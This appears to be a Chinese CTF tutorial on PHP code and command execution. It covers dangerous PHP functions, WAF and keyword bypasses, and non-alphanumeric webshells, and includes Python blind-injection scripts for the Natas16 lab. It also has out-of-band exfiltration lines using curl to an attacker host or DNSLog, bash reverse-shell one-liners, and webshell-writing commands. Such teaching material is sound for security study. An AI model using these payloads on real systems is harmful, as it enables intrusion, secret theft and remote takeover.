1 代码执行与命令执行
1.1 漏洞介绍
当用户提交的参数被服务端当作代码解析并执行时,就会产生此类漏洞。
-
广义代码注入: 覆盖大半安全漏洞分类,例如 SQL 注入、XSS 跨站脚本攻击等。
-
狭义代码执行: 动态代码执行函数的参数过滤不严格,导致用户输入的数据被当作服务端脚本语言(如 PHP、Python、Java 等)代码执行。
1.2 常见 PHP 代码执行危险函数
大致分为五类:
1.2.1 eval() 与 assert()
接受字符串,并将其作为脚本执行。当用户可以控制传入的字符串时,即存在代码注入漏洞。
-
eval(string $code):把字符串作为 PHP 代码执行(并非严格意义上的函数,而是语言构造器)。 -
assert(mixed $assertion):检查一个断言是否为false,如果传入字符串,也会被作为 PHP 代码执行(PHP 7.2 起废弃了字符串执行,PHP 8.0 起彻底移除)。
基础用法:
<?php
highlight_file(__FILE__);
eval("phpinfo();");
// assert("phpinfo();");
?>
GET/POST 传参利用:
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
eval($cmd);
?>
- 输入 Payload:
?cmd=phpinfo();
进阶:遇到闭合与注释过滤
当开发人员尝试拼接代码并加引号时:
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
eval("\$ret = strtolower('$cmd');");
?>
-
输入 Payload:
?cmd=');phpinfo();// -
注意: 如果服务器开启了
magic_quotes_gpc或使用了addslashes(),单引号'会被转义为\',导致上述闭合方法失效。
1.2.2 preg_replace() /e 模式
原本用于执行正则表达式的搜索和替换。但如果使用了危险的 /e 修饰符,preg_replace() 会将 replacement 参数当作 PHP 代码执行。
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
// 将匹配到的内容替换为 $cmd 的执行结果
preg_replace('/<data>(.*)<\/data>/e', '$ret="\\1";', $cmd);
echo $ret;
?>
- 输入 Payload:
?cmd=<data>{${phpinfo()}}</data>
1.2.3 create_function() 匿名函数注入
主要用来创建匿名函数。如果没有对传递的参数进行严格过滤,攻击者可以闭合原有的函数代码块,从而注入任意代码。
<?php
// 原理:底层相当于 eval("function __lambda_func(\$args) { $code }");
$func = create_function('', $_REQUEST['cmd']);
$func();
?>
- 输入 Payload:
?cmd=}phpinfo();/*
1.2.4 动态函数调用
通过声明变量接收函数名称,随后利用变量名动态调用该函数。
示例 1:常规动态调用
<?php
if(isset($_GET["func"])){
$myfunc = $_GET["func"];
echo $myfunc(); // 将变量值作为函数名执行
}
?>
- 输入 Payload:
?func=phpinfo
示例 2:动态函数与参数拼接
<?php
$_GET['a']($_GET['b']);
?>
- 输入 Payload:
?a=assert&b=phpinfo()(等价于执行assert(phpinfo());)
1.2.5 回调函数 (Callback)
用户自定义函数可作为参数传递给回调执行函数。
call_user_func() / call_user_func_array()
<?php
call_user_func($_GET['func'], $_GET['cmd']);
?>
- 输入 Payload:
?func=assert&cmd=phpinfo()
数组遍历回调:array_filter() / array_map()
<?php
$cmd = $_GET['cmd'];
$func = $_GET['func'];
$array1 = array($cmd);
$result = array_filter($array1, $func); // 使用 $func 过滤 $array1 的每个元素
?>
- 输入 Payload:
?func=system&cmd=whoami
1.3 针对 PHP 代码层面的绕过技巧
当你的 Payload 受到 PHP 逻辑、WAF 黑名单或字符过滤限制时,主要在 PHP 语法层面寻找突破口。
1.3.1 危险函数的“平替”
当常用的执行函数(如 system 或 shell_exec)被 PHP 的 disable_functions 禁用时:
- 直接回显类:
passthru()。 - 无直接回显类:
exec()(需配合 echo 取最后一行返回)。 - 符号类:
`反引号(等同于shell_exec,例:echo `ls`;)。 - 底层进程类:
popen(),proc_open(),pcntl_exec()(常用于 Bypass disable_functions)。
1.3.2 纯 PHP 读文件(不依赖系统 Shell 命令)
当无法调用任何系统命令执行函数时,直接使用 PHP 内置的文件系统函数读取:
- 直接输出:
highlight_file('flag.php'),show_source('flag.php'),readfile('flag.php') - 需配合输出函数:
file_get_contents('flag.php'),file('flag.php')(将文件按行读入数组) - 纯 PHP 看目录:
print_r(scandir('/'));,var_dump(glob('/*'));
1.3.3 PHP 关键字过滤与编码绕过
当代码中包含过滤了特定敏感词(如 system, flag)的黑名单时:
- 字符串拼接:
('sy'.'stem')('ls');或$a='f'.'lag'; highlight_file($a); - 编码转换: Base64:
eval(base64_decode('c3lzdGVtKCdscycpOw=='));(还可利用 Hex、URL 编码)。 - 异或/取反/或 (无数字字母 WebShell): 利用符号位运算生成字符串。例
(~%8F%97%8F%96%91%99%90)()等同于phpinfo()。
1.3.3.1 无字母数字 WebShell
当 WAF 极度严格,使用正则(如 /[a-z0-9]/i)过滤了所有英文字母和数字时,我们需要完全利用符号来构造出代码。通常有以下两大流派:
1.3.3.1.1 位运算绕过(异或 / 取反 / 或)
利用非字母数字的 ASCII 字符,通过位运算生成目标字母。
- 异或 (
^): 例如'?' ^ '~'可以得到字母A。 - 取反 (
~): 利用汉字或其他高位字符的 UTF-8 编码取反运算生成字母。例:(~%8F%97%8F%96%91%99%90)()等同于phpinfo()。 - 或 (
|): 将两个不可见字符的二进制进行或运算拼出字母。
1.3.3.1.2 自增绕过
核心原理: PHP 中存在一个特性,如果对一个字符变量进行自增(++)操作,它会变成下一个字符(例如 'A'++ 变成 'B','Z'++ 变成 'AA','a'++ 变成 'b')。
构造步骤:
-
获取初始字母 ‘A’: 我们无法直接输入 ‘A’,但可以通过强制类型转换将空数组变成字符串
"Array",然后提取它的第一个字符。$_ = []; // 定义空数组 $_ = "$_"; // 数组转字符串,变成 "Array" $_ = $_['!'=='@']; // ['!'=='@'] 相当于 [false] 也就是 [0]。取得 "Array"[0],即字母 'A' -
通过自增获取所需字母: 有了 ‘A’,就可以一路
++得到 ‘G’, ‘E’, ‘T’, ‘P’, ‘O’, ‘S’ 等字母。 -
构造超全局变量: 将字母拼接成
_GET或_POST。 -
动态执行: 利用
$$_(可变变量) 接收外部传入的正常参数,从而绕过当前代码块的限制。
经典自增 Payload 解析: 以下是一个完全不包含字母数字,构造 $_GET[_]($_GET[__]) 的经典 Payload:
<?php
// 假设环境: eval($_POST['cmd']); 且 cmd 中不能有字母数字
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_=$__++;$__++;$__++;$__++;$___=$___.=;$_=$___.=$___.=$_;$_=$$_;$_[_]($_[__]);
?>
-
工作流: 最终它等价于
$_GET['_']($_GET['__']);。此时你只需要在 URL 中附带?_=system&__=cat /flag,即可实现完美绕过。 -
⚠️ 版本注意: 自增绕过在 PHP 5 和 PHP 7 环境下非常稳定,但在 PHP 8 中,由于对字符串自增和隐式转换的严格限制,很多基于数组转换
'A'的方法会抛出 Fatal Error,需要结合其他符号或位运算作为起始字符。
1.3.4 参数逃逸 (利用超全局变量)
当 Payload 自身面临极严格的字符限制(如无法输入引号或括号)时,通过将真实 Payload 转移到其他参数位置绕过:
// 利用 $_GET 传参避开单双引号和关键字过滤
?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
// 无方括号 [] 逃逸法
?c=eval(next(reset(get_defined_vars())));&1=system("tac flag.php");
- 原理:
get_defined_vars()获取所有已定义变量。reset()获取第一个元素(通常是$_GET数组)。next()将内部指针移动到第二个元素,提取出1的值system("tac flag.php");并丢给eval执行。
同时PHP允许语言结构和变量之间没有空格
1.3.5 文件包含结合伪协议
当执行命令的函数全部被封杀时,利用 include() / require() 替代。如果直接包含 PHP 文件会被解析导致无回显,必须配合伪协议:
?c=include('php://filter/read=convert.base64-encode/resource=flag.php');
同时include属于内置的语法结构,允许无空格连接参数,而;也可以被?>平替,因此可以与参数逃逸相配合
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
1.3.6 Cookie / Session 偷渡
利用 HTTP 请求头或 Session 机制的 ID 传递 Payload,绕过 URL 或 Body 的检测:
?c=session_start();system(session_id());
// 请求头中加入: Cookie: PHPSESSID=ls
1.4 针对系统 Shell 层面的绕过技巧
当成功调用了 system() 等系统命令函数,但传入的参数受到限制时,你的对抗层面就来到了 Linux Bash 等底层 Shell。
1.4.1 系统命令与逻辑运算符拼接
用于在同一行执行多条命令:
&&(与):前一个成功才执行后一个。例:mkdir test && cd test||(或):前一个失败才执行后一个。例:cd not_exist || echo "fail"&(后台):将前一个放到后台,立即并行执行后一个。;(分号):无论前一个成功与否,继续执行下一个。
1.4.2 Shell 符号过滤与关键字绕过
当底层拦截了 cat, flag 等系统命令关键字时:
- 引号绕过(打断关键字): 单/双引号
""或''定义空字符串。c""at fl''ag.php。 - 反斜杠转义:
c\at fl\ag.php。 - 插入空变量:
ca$@t fl$1ag.php或cat fl${x}ag.php($@、$1在 Bash 中为空,拼接后不影响原命令)。 - 通配符匹配:
*匹配任意数量字符,?匹配单个字符。system("cat f????php");system("cat /e't'c/*ss*");
1.4.3 空格过滤绕过
在 Shell 环境中,默认由 IFS (Internal Field Separator) 变量控制分隔符:
- URL 编码:
%20(空格),%09(Tab) - 输入重定向符:
<或<>(例:cat<flag.php) - 大括号扩展 (Brace Expansion):
{cat,flag.php} - IFS 变量替换:
$IFS$9,${IFS},$IFS
1.4.4 命令替换绕过
当遇到对\、&等过滤的时候可以考虑命令替换
主要有两种语法:
- 反引号:
`command` - $() 语法:
$(command)
1.4.4.1 利用方式
1.4.4.1.1 直接利用
- 基础信息收集:
whoami,id,uname -a,pwd - 读取敏感文件:
cat /etc/passwd,cat config.php - 查看目录结构:
ls -al,find / -name "flag*"
1.4.4.1.2 grep (字符串匹配与过滤绕过)
如果外层存在 grep,或者在大量输出/受限环境中,可以配合 grep 实现对字符串的精准匹配。
- 信息提取: 在读取大量内容时提取关键信息,如
cat /var/log/nginx/access.log | grep "password"。 - 正则表达式盲注: 在半盲注(只能判断命令是否执行成功或返回 True/False)的场景下,可以利用
grep结合正则逐个字符猜解内容。- 例如(假设 flag 格式为
flag{...}):使用cat flag.txt | grep "^flag\{a",如果返回真,说明第一个字符是a,以此类推。
- 例如(假设 flag 格式为
1.4.4.1.2.1 GET方法爆破
import requests
import string
import sys
# ================= 基础配置 =================
URL = "http://natas16.natas.labs.overthewire.org/index.php"
# Natas 关卡需要 HTTP 基础认证,替换为 natas16 的实际密码
AUTH = ('natas16', '<这里填入你目前natas16的密码>')
PARAM_NAME = "needle"
# 密码通常包含大小写字母和数字
CHARSET = string.ascii_letters + string.digits
# ================= 判断逻辑 =================
def check_success(response):
"""
判断盲注是否成功 (返回 True 代表匹配命中)
原理解析:
- 如果内部 grep 命中密码,会输出密码,外部 grep 在字典里搜密码(搜不到),页面无字典输出。
- 如果内部 grep 未命中,输出为空,外部 grep 在字典里搜空字符(全匹配),页面会输出大量字典单词。
"""
# 如果页面里没有出现字典的单词(比如 "Africans" 等),说明我们猜对了
if "African" not in response.text:
return True
return False
# ================= 主程序 =================
def main():
print("[*] 开始执行命令盲注...")
# ----------------------------------------
# 阶段 1:探测密钥长度
# ----------------------------------------
print("\n[*] [阶段 1/2] 正在探测密钥长度...")
password_length = 0
# 假设最大长度为 64 进行遍历
for length in range(1, 65):
# 构造类似 ^....$ 的正则,利用 . 匹配任意字符
dots = "." * length
payload = f"$(grep ^{dots}$ /etc/natas_webpass/natas17)"
try:
r = requests.get(URL, auth=AUTH, params={PARAM_NAME: payload}, timeout=5)
if check_success(r):
password_length = length
print(f"[+] 成功获取密钥长度: {password_length} 位")
break
except requests.exceptions.RequestException as e:
print(f"[-] 网络请求异常: {e}")
sys.exit(1)
if password_length == 0:
print("[-] 探测长度失败,可能是网络问题或正则被拦截。")
sys.exit(1)
# ----------------------------------------
# 阶段 2:逐字爆破密钥内容
# ----------------------------------------
print(f"\n[*] [阶段 2/2] 根据长度 ({password_length}) 逐字爆破密钥内容...")
flag = ""
# 根据已知的长度进行精确的 for 循环
for i in range(password_length):
found_char = False
for char in CHARSET:
# 安全处理:如果 CHARSET 里包含了正则特殊字符,需要转义
# 虽然这里我们只用了字母数字,但为了代码健壮性还是加上
guess_char = char
if char in [".", "*", "+", "?", "^", "$", "\\", "[", "]"]:
guess_char = "\\" + char
current_guess = flag + guess_char
# 构造 Payload:匹配以 current_guess 开头的字符串
payload = f"$(grep ^{current_guess} /etc/natas_webpass/natas17)"
try:
r = requests.get(URL, auth=AUTH, params={PARAM_NAME: payload}, timeout=5)
if check_success(r):
flag += char
# 打印进度条效果
print(f"[*] 进度 [{i+1}/{password_length}]: {flag.ljust(password_length, '*')}")
found_char = True
break # 找到当前位的字符,跳出内层循环,继续找下一位
except requests.exceptions.RequestException as e:
print(f"[-] 网络请求异常: {e}")
# 如果遍历完整个字典都没找到,说明出问题了
if not found_char:
print(f"\n[-] 警告:在第 {i+1} 位未能找到匹配字符。可能是字符集不全。")
break
# ----------------------------------------
# 结果输出
# ----------------------------------------
print("\n" + "="*40)
if len(flag) == password_length:
print(f"[√] 爆破完成!成功获取 Natas17 密码: {flag}")
else:
print(f"[!] 爆破非正常终止。已获取的部分密码: {flag}")
print("="*40)
if __name__ == "__main__":
main()
1.4.4.1.2.2 POST方法爆破
import requests
import string
import sys
# ================= 基础配置 =================
URL = "http://your-ctf-target.com/index.php"
# 如果像 Natas 一样需要基础认证,可以填入这里:
# AUTH = ('natas16', '<这里填入密码>')
# 替换为实际接收命令的 POST 参数名
PARAM_NAME = "needle"
# 字典:包含所有可能出现在 Flag 中的字符
CHARSET = string.ascii_letters + string.digits
# 初始化 Session 会话,提升大量请求时的网络速度
session = requests.Session()
# 如果需要基础认证,将其绑定到 session:
# session.auth = AUTH
# ================= 判断逻辑 =================
def check_success(response):
"""
判断盲注是否成功 (返回 True 代表匹配命中)
【注意】:请根据真实靶机的 POST 响应特征修改此处逻辑!
"""
# 假设:如果猜对了(grep命中),页面没有返回大量字典单词
if "African" not in response.text:
return True
return False
# ================= 主程序 =================
def main():
print("[*] 开始执行 POST 命令盲注...")
# ----------------------------------------
# 阶段 1:探测密钥长度
# ----------------------------------------
print("\n[*] [阶段 1/2] 正在探测密钥长度...")
password_length = 0
for length in range(1, 65):
# 构造类似 ^....$ 的正则
dots = "." * length
payload = f"$(grep ^{dots}$ /etc/natas_webpass/natas17)"
# 组装 POST 数据
post_data = {
PARAM_NAME: payload
}
try:
# 【核心变化】:使用 session.post,并且参数是 data=post_data
r = session.post(URL, data=post_data, timeout=5)
if check_success(r):
password_length = length
print(f"[+] 成功获取密钥长度: {password_length} 位")
break
except requests.exceptions.RequestException as e:
print(f"[-] 网络请求异常: {e}")
sys.exit(1)
if password_length == 0:
print("[-] 探测长度失败,可能是网络问题或判断逻辑写错了。")
sys.exit(1)
# ----------------------------------------
# 阶段 2:逐字爆破密钥内容
# ----------------------------------------
print(f"\n[*] [阶段 2/2] 根据长度 ({password_length}) 逐字爆破密钥内容...")
flag = ""
for i in range(password_length):
found_char = False
for char in CHARSET:
guess_char = char
if char in [".", "*", "+", "?", "^", "$", "\\", "[", "]"]:
guess_char = "\\" + char
current_guess = flag + guess_char
# 构造 Payload
payload = f"$(grep ^{current_guess} /etc/natas_webpass/natas17)"
post_data = {
PARAM_NAME: payload
}
try:
# 【核心变化】:发送 POST 请求
r = session.post(URL, data=post_data, timeout=5)
if check_success(r):
flag += char
print(f"[*] 进度 [{i+1}/{password_length}]: {flag.ljust(password_length, '*')}")
found_char = True
break
except requests.exceptions.RequestException as e:
print(f"[-] 网络请求异常: {e}")
if not found_char:
print(f"\n[-] 警告:在第 {i+1} 位未能找到匹配字符。")
break
# ----------------------------------------
# 结果输出
# ----------------------------------------
print("\n" + "="*40)
if len(flag) == password_length:
print(f"[√] POST 爆破完成!成功获取密码: {flag}")
else:
print(f"[!] 爆破非正常终止。已获取的部分密码: {flag}")
print("="*40)
if __name__ == "__main__":
main()
1.4.4.1.3 无回显利用 (盲注)
当命令执行成功但前端没有任何输出时,需要利用侧信道(Side-channel)来判断或获取数据。
- 时间盲注 (Time-based): 利用
sleep命令制造时间延迟。- 例如:
if [ $(whoami) = "root" ]; then sleep 5; fi(如果当前用户是 root,则页面会延迟 5 秒响应)。
- 例如:
- 外带数据 (OOB / Out-of-Band): 目标机器出网的情况下,将命令执行结果作为参数通过 DNS 解析或 HTTP 请求发送到攻击者控制的服务器(如 DNSLog 平台)。
- HTTP 请求:
curl http://攻击者IP/?data=$(cat flag.txt | base64) - DNS 解析:
ping $(whoami).your-dnslog-domain.com
- HTTP 请求:
1.4.4.1.4 写入文件 (转化为 WebShell)
如果直接执行命令受限,但目标服务器的 Web 目录具有写入权限,可以将后续攻击代码写入文件中。
- 写入直接结果:
ls -la > /var/www/html/result.txt(然后通过浏览器访问该 TXT 文件查看结果)。 - 写入 WebShell:
echo '<?php eval($_POST["cmd"]); ?>' > /var/www/html/shell.php(利用蚁剑/冰蝎等工具连接)。
1.4.4.1.5 反弹 Shell (Reverse Shell)
这是命令执行漏洞的最终利用目标之一。在目标服务器出网且未被防火墙拦截的情况下,将服务器的命令行交互环境反弹回攻击者的机器上。
- Bash 反弹:
bash -i >& /dev/tcp/攻击者IP/监听端口 0>&1 - Python/Perl 等脚本反弹: 在目标环境缺少 bash 环境时使用其他系统自带环境进行反弹。
1.4.5 无回显命令执行 (Blind RCE) 及外带技巧
当系统命令执行的结果被重定向丢弃(如 >/dev/null 2>&1)导致网页无回显时,本质上也是一种 Shell 层面的限制:
<?php
function hello_shell($cmd){
// 将不会有任何回显,加上 2>&1 连错误也会被屏蔽
system($cmd." >/dev/null 2>&1");
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
?>
解决思路与外带技巧:
-
-
命令分隔符“截断”
- 原理: 利用逻辑运算符将
>/dev/null和我们要执行的命令强行断开。 - Payload:
?cmd=ls;(最终拼成ls; >/dev/null 2>&1。第一条命令正常回显,第二条空命令丢入黑洞)。 - Payload:
?cmd=cat flag.php ||
-
-
-
结果写入到 Web 文件
-
原理: 如果有目录写入权限,利用 Shell 重定向
>将结果保存在网站目录的独立文件中。 -
Payload:
?cmd=cat flag.php > result.txt;
-
-
-
DNSLog 外带数据
- 原理: 靶机不允许写文件但出网,利用 Shell 的命令执行替换
$(...)将结果拼接到子域名中发包“带”出来。 - Payload:
?cmd=curl http://1234.ceye.io/?data=$(cat flag.txt);
-
-
-
反弹 Shell
- 原理: 绕开单次 HTTP 请求的限制,直接让靶机的 Bash 进程反向连接攻击机。
- Payload:
?cmd=bash -i >& /dev/tcp/1.1.1.1/6666 0>&1;
-